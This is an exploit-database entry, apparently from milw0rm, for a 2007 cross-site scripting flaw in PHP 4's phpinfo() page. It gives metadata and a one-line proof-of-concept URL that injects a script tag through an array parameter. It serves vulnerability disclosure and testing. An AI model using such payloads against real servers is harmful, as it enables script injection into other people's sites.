PHP 4.4.3 < 4.4.6 - 'PHPinfo()' Cross-Site Scripting

Author: Stefan Esser
type: remote
platform: multiple
port: 
date_added: 2007-03-03 
date_updated: 2016-09-27 
verified: 1 
codes: OSVDB-32774;CVE-2007-1287 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comphp-4.4.3.tar.gz

  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //                    PHP 4 - phpinfo() XSS Testcase                  //
  ////////////////////////////////////////////////////////////////////////

To manually test for this vulnerability just call the phpinfo() page with a parameter like this.

http://localhost/phpinfo.php?a[]=<script>alert(/XSS/);</script>

# milw0rm.com [2007-03-04]